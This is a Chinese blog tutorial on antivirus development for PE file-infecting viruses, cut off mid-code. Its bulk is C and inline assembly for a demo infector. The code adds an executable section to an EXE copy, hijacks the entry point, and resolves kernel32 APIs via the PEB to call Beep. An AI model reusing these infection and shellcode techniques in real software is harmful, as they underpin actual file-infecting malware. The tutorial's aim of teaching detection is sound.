不传之密:杀毒软件开发之感染型病毒查杀、启发式杀毒

  • 2019 年 12 月 23 日
  • 筆記

在前文《不传之密:杀毒软件开发,原理、设计、编程实战》中,讲述了基于特征码的杀毒软件开发。本文作为继章,将继续介绍杀毒软件开发:感染型病毒的查杀。

编程殿堂中,工作无贵贱,但技术真有高低。在黑暗领域,PE感染型病毒历久以来处于技术金字塔的顶端,长久以来都蒙着一层神密的面纱。但要想编写能查杀感染型病毒的杀毒软件,对这种感染型病毒的编程是必须要了解的。

一般来说,PE感染型病毒,会感染电脑中的可执行文件,一旦被此类病毒入侵,很难清除,在以往通常都只能选择重装系统,可见其危害性。

感染型病毒开发,需要对PE文件格式、C、汇编、系统内核等方面知识,有相当了解。

“感染型病毒”开发

那么,就让我们通过实例,写一个“病毒”来真实了解一下其开发过程:

注:这不是一个真的病毒,此程序运行时会“感染”EXE文件,给其增加一个新“节”,被“感染”的文件启动时,会发出“哔”的一声,仅此而已,演示而用、并无危害。

//包含必要的头文件  #include <windows.h>  #include <winnt.h>  #include <stdio.h>  #include <assert.h>    //常量定义  #define DEBUG    1  #define EXTRA_CODE_LENGTH    18    //增加的节的大小  #define SECTION_SIZE    0x1000    //增加的节的名字,设置为:.test  #define SECTION_NAME    ".test"    //文件名最大长度(包括路径)  #define FILE_NAME_LENGTH    30    //数量对齐函数  int Align(int size, int ALIGN_BASE)  {  int ret;  int result;    assert( 0 != ALIGN_BASE );  result = size % ALIGN_BASE;     //余数不为零,也就是没有整除  if (0 != result)  {  ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;  }  else  {  ret = size;  }  return ret;  }    //工具使用方法  void usage()  {  printf("Ty2y杀毒软件(www.ty2y.com) - 感染型病毒查杀工具测试用DEMOn");  printf("使用方法:n");  printf("virTest.exe FileNamen");  printf("例如: n");  printf("virTest.exe test.exen");  }    //入口函数  int main(int argc, char *argv[])  {  //DOS头  IMAGE_DOS_HEADER DosHeader;    //NT头  IMAGE_NT_HEADERS NtHeader;    //节头  IMAGE_SECTION_HEADER SectionHeader;    //要新增加的节的节头  IMAGE_SECTION_HEADER newSectionHeader;    //节的数量  int numOfSections;  FILE *pNewFile;  int FILE_ALIGN_MENT;  int SECTION_ALIGN_MENT;  char srcFileName[FILE_NAME_LENGTH];  char newFileName[FILE_NAME_LENGTH];  int i;  int extraLengthAfterAlign;    //新入口点  unsigned int newEP;    //原始入口点  unsigned int oldEP;    //汇编指令:jmp  BYTE jmp;  char *pExtra_data;  int extra_data_real_length;    //判断命令行参数是否为空  if (NULL == argv[1])  {  puts("参数错误n");  usage();  exit(0);  }    //原始文件名  strcpy(srcFileName, argv[1]);    //目标文件名  strcpy(newFileName, srcFileName);    //给目标文件名再加一个后缀,比如原来是:Test.exe,再增加一次.exe后缀,成为:Test.exe.exe,以此区分与原文件  strcat(newFileName, ".exe");    //复制一份原始文件  if (!CopyFile(srcFileName, newFileName, FALSE))  {    //提示错误  puts("复制文件失败");  exit(0);  }    //打开新文件  //打开方式为"rb+"  pNewFile = fopen(newFileName, "rb+");  if (NULL == pNewFile)  {  puts("打开文件失败");  exit(0);  }    //定位到文件开始位置  fseek(pNewFile, 0, SEEK_SET);    //读取IMAGE_DOS_HEADER  fread(&DosHeader, sizeof(IMAGE_DOS_HEADER), 1, pNewFile);    //判断是否是PE文件  if (DosHeader.e_magic != IMAGE_DOS_SIGNATURE)  {  puts("Not a valid PE file");  exit(0);  }    //再定位到PE文件头,然后读取IMAGE_NT_HEADERS  fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);  fread(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);  if (NtHeader.Signature != IMAGE_NT_SIGNATURE)  {  puts("文件错误,非PE文件");  exit(0);  }    //经过两次验证,到此处可以确认这是PE文件,接下来可以放心的进行感染操作了    //此PE文件节的数量  numOfSections = NtHeader.FileHeader.NumberOfSections;    //文件对齐量  FILE_ALIGN_MENT = NtHeader.OptionalHeader.FileAlignment;    //节对齐量  SECTION_ALIGN_MENT = NtHeader.OptionalHeader.SectionAlignment;    #if DEBUG  //打印出调试信息  printf("FILE_ALIGN_MENT-> %xn", FILE_ALIGN_MENT);  printf("SECTION_ALIGN_MENT-> %xn", FILE_ALIGN_MENT);  #endif    //保存原来的入口地址  oldEP = NtHeader.OptionalHeader.AddressOfEntryPoint;    //定位到最后一个SectionHeader  for (i = 0; i < numOfSections; i++)  {  fread(&SectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);    #if DEBUG  //打印出调试信息   printf("节的名字:%sn", SectionHeader.Name);  #endif    }    //增加一个新节前的准备工作  extraLengthAfterAlign = Align(EXTRA_CODE_LENGTH, FILE_ALIGN_MENT);    //节的总数加一  NtHeader.FileHeader.NumberOfSections++;    //先清零  memset(&newSectionHeader, 0, sizeof(IMAGE_SECTION_HEADER));    //修改清零后部分数据:节名  strncpy(newSectionHeader.Name, SECTION_NAME, strlen(SECTION_NAME));    //重新设置VirtualAddress  newSectionHeader.VirtualAddress = Align(SectionHeader.VirtualAddress + SectionHeader.Misc.VirtualSize,SECTION_ALIGN_MENT);    //重新设置VirtualSize  newSectionHeader.Misc.VirtualSize = Align(extraLengthAfterAlign, SECTION_ALIGN_MENT);    //重新设置PointerToRawData  newSectionHeader.PointerToRawData = Align(SectionHeader.PointerToRawData + SectionHeader.SizeOfRawData,FILE_ALIGN_MENT);    //重新设置SizeOfRawData  newSectionHeader.SizeOfRawData = Align(SECTION_SIZE, FILE_ALIGN_MENT);    //修改新节的属性为:可读、可写、可执行  newSectionHeader.Characteristics = 0xE0000020;    #if DEBUG  //打印出调试信息  printf("原始SizeOfCode: %xn", NtHeader.OptionalHeader.SizeOfCode);  printf("原始SizeOfImage: %xn", NtHeader.OptionalHeader.SizeOfImage);  #endif    //重新设置NtHeader    //重新设置SizeOfCode  NtHeader.OptionalHeader.SizeOfCode = Align(NtHeader.OptionalHeader.SizeOfCode + SECTION_SIZE, FILE_ALIGN_MENT);    //重新设置SizeOfImage  NtHeader.OptionalHeader.SizeOfImage = NtHeader.OptionalHeader.SizeOfImage + Align(SECTION_SIZE, SECTION_ALIGN_MENT);    #if DEBUG  //打印出调试信息  printf("新的SizeOfCode: %xn", NtHeader.OptionalHeader.SizeOfCode);  printf("新的SizeOfImage: %xn", NtHeader.OptionalHeader.SizeOfImage);  #endif    //Set zero the Bound Import Directory header  NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;  NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;    //跳转到文件开始位置  fseek(pNewFile, 0, SEEK_END);    //新入口地址设置为新节的虚拟地址  newEP = newSectionHeader.VirtualAddress;    #if DEBUG  //打印出调试信息  printf("原入口地址-> %xn", oldEP);  printf("新入口地址-> %xn", ftell(pNewFile));  #endif    //设置新的入口地址  NtHeader.OptionalHeader.AddressOfEntryPoint = newEP;    //定位到节表尾部  fseek(pNewFile, DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS) + numOfSections * sizeof(IMAGE_SECTION_HEADER),SEEK_SET);    #if DEBUG  调试信息  printf("重新节头前当前指针位置-> %xn", ftell(pNewFile));  printf("插入新节名称: %sn", newSectionHeader.Name);  #endif     //写入重新设置后的节头  fwrite(&newSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);    #if DEBUG  //打印出调试信息  printf("重新节头后当前指针位置-> %xn", ftell(pNewFile));  #endif    fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);    #if DEBUG  //打印出调试信息  printf("重写NtHeader前当前指针位置-> %xn", ftell(pNewFile));  printf("(IMAGE_NT_HEADERS)大小: %xn", sizeof(IMAGE_NT_HEADERS));  #endif    //写入重新设置后的PE文件头(NT头)  fwrite(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);    //定位到文件尾部  fseek(pNewFile, 0, SEEK_END);    #if DEBUG  //打印出调试信息  printf("文件结尾指针-> %xn", ftell(pNewFile));  #endif    //写入新节,这里先写入0  for (i=0; i<Align(SECTION_SIZE, FILE_ALIGN_MENT); i++)  {  fputc(0, pNewFile);  }    //位到新节的开头  fseek(pNewFile, newSectionHeader.PointerToRawData, SEEK_SET);    #if DEBUG    //打印出调试信息  printf("重写额外数据前指针-> %xn", ftell(pNewFile));  #endif    goto GetExtraData;    extra_data_start:  _asm pushad    //获取kernel32.dll的基址  _asm     mov eax, fs:0x30     ;PEB的地址  _asm     mov eax, [eax + 0x0c]  _asm     mov esi, [eax + 0x1c]  _asm     lodsd  _asm     mov eax, [eax + 0x08] ;eax就是kernel32.dll的基址    //同时保存kernel32.dll的基址到edi  _asm     mov edi, eax  //通过搜索 kernel32.dll的导出表查找GetProcAddress函数的地址    _asm     mov ebp, eax  _asm     mov eax, [ebp + 3ch]  _asm     mov edx, [ebp + eax + 78h]  _asm     add edx, ebp  _asm     mov ecx, [edx + 18h]  _asm     mov ebx, [edx + 20h]  _asm     add ebx, ebp    search:  _asm    dec ecx  _asm     mov esi, [ebx + ecx * 4]  _asm     add esi, ebp  _asm     mov eax, 0x50746547    //比较"PteG"  _asm     cmp [esi], eax  _asm     jne search  _asm     mov eax, 0x41636f72  _asm     cmp [esi + 4], eax  _asm     jne search  _asm     mov ebx, [edx + 24h]  _asm     add ebx, ebp  _asm     mov cx, [ebx + ecx * 2]  _asm     mov ebx, [edx + 1ch]  _asm     add ebx, ebp  _asm     mov eax, [ebx + ecx * 4]    //eax保存的就是GetProcAddress的地址  _asm     add eax, ebp  //为局部变量分配空间  _asm     push ebp  _asm     sub esp, 50h  _asm     mov ebp, esp  //查找beep的地址  //把GetProcAddress的地址保存到ebp + 40中  _asm     mov [ebp + 40h], eax  //开始查找Beep的地址, 先构造"Beep